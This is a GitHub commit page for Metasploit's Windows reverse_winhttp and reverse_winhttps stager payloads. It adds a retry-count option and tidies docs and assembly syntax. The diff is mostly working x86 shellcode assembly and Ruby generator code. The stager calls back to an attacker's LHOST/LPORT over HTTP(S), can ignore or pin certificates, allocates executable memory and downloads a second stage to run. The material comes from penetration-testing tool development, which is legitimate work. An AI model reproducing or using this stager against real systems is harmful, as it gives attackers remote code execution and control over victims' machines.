Skip to content

Commit

Permalink
Fix yard docs, retries, push.i8 instructions. See commit 0513852
Browse files Browse the repository at this point in the history
Note that StagerRetryCount is not defined here, but will be in the parent class once rapid7#4934 lands
  • Loading branch information
HD Moore committed Mar 16, 2015
1 parent 8e37342 commit 69d9280
Show file tree
Hide file tree
Showing 2 changed files with 54 additions and 54 deletions.
102 changes: 50 additions & 52 deletions lib/msf/core/payload/windows/reverse_winhttp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -36,15 +36,17 @@ def generate
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri)
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end

conf = {
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
retry_count: datastore['StagerRetryCount']
}

generate_reverse_winhttp(conf)
Expand Down Expand Up @@ -98,28 +100,26 @@ def asm_generate_wchar_array(str)
join(",")
end


#
# Generate an assembly stub with the configured feature set and options.
#
# Dynamic payload generation
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_winhttp(opts={})


verify_ssl = nil
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil

#
# options can contain contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
# verify_ssl: (true|false)
# verify_cert_hash: (40-byte SHA1 hash)
#

encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])

if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
verify_ssl = true
Expand Down Expand Up @@ -162,45 +162,38 @@ def asm_reverse_winhttp(opts={})
end

asm << %Q^
set_retry:
push.i8 6 ; retry 6 times
pop edi
xor ebx, ebx
mov ecx, edi
push_zeros:
push ebx ; NULL values for the WinHttpOpen API parameters
loop push_zeros
xor ebx, ebx
WinHttpOpen:
; Flags [5]
; ProxyBypass (NULL) [4]
; ProxyName (NULL) [3]
; AccessType (DEFAULT_PROXY= 0) [2]
; UserAgent (NULL) [1]
push ebx ; Flags
push ebx ; ProxyBypass (NULL)
push ebx ; ProxyName (NULL)
push ebx ; AccessType (DEFAULT_PROXY= 0)
push ebx ; UserAgent (NULL) [1]
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
call ebp
WinHttpConnect:
push ebx ; Reserved (NULL) [4]
push ebx ; Reserved (NULL)
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
server_uri: ; server_host; server_uri is saved in edi for later
db #{encoded_url}
got_server_host:
push eax ; Session handle returned by WinHttpOpen [1]
push eax ; Session handle returned by WinHttpOpen
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
call ebp
WinHttpOpenRequest:
push.i32 #{"0x%.8x" % http_open_flags}
push ebx ; AcceptTypes (NULL) [6]
push ebx ; Referrer (NULL) [5]
push ebx ; Version (NULL) [4]
push edi ; ObjectName (URI) [3]
push ebx ; Verb (GET method) (NULL) [2]
push eax ; Connect handler returned by WinHttpConnect [1]
push ebx ; AcceptTypes (NULL)
push ebx ; Referrer (NULL)
push ebx ; Version (NULL)
push edi ; ObjectName (URI)
push ebx ; Verb (GET method) (NULL)
push eax ; Connect handle returned by WinHttpConnect
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
call ebp
xchg esi, eax ; save HttpRequest handler in esi
Expand All @@ -216,16 +209,21 @@ def asm_reverse_winhttp(opts={})
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
mov eax, esp
push.i8 4 ; sizeof(buffer)
push 4 ; sizeof(buffer)
push eax ; &buffer
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
call ebp
^
end

asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
WinHttpSendRequest:
Expand Down Expand Up @@ -271,14 +269,14 @@ def asm_reverse_winhttp(opts={})

asm << %Q^
ssl_cert_get_context:
push.i8 4
push 4
mov ecx, esp ; Allocate &bufferLength
push.i8 0
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
Expand All @@ -287,15 +285,15 @@ def asm_reverse_winhttp(opts={})
; ebx
ssl_cert_allocate_hash_space:
push.i8 20 ;
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
Expand All @@ -310,7 +308,7 @@ def asm_reverse_winhttp(opts={})
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
Expand All @@ -332,8 +330,8 @@ def asm_reverse_winhttp(opts={})
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
call ebp
test eax,eax
Expand All @@ -342,7 +340,7 @@ def asm_reverse_winhttp(opts={})

asm << %Q^
allocate_memory:
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
Expand Down
6 changes: 4 additions & 2 deletions lib/msf/core/payload/windows/reverse_winhttps.rb
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,8 @@ def generate
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash)
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end

conf = {
Expand All @@ -89,7 +90,8 @@ def generate
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}

generate_reverse_winhttps(conf)
Expand Down

0 comments on commit 69d9280

Please sign in to comment.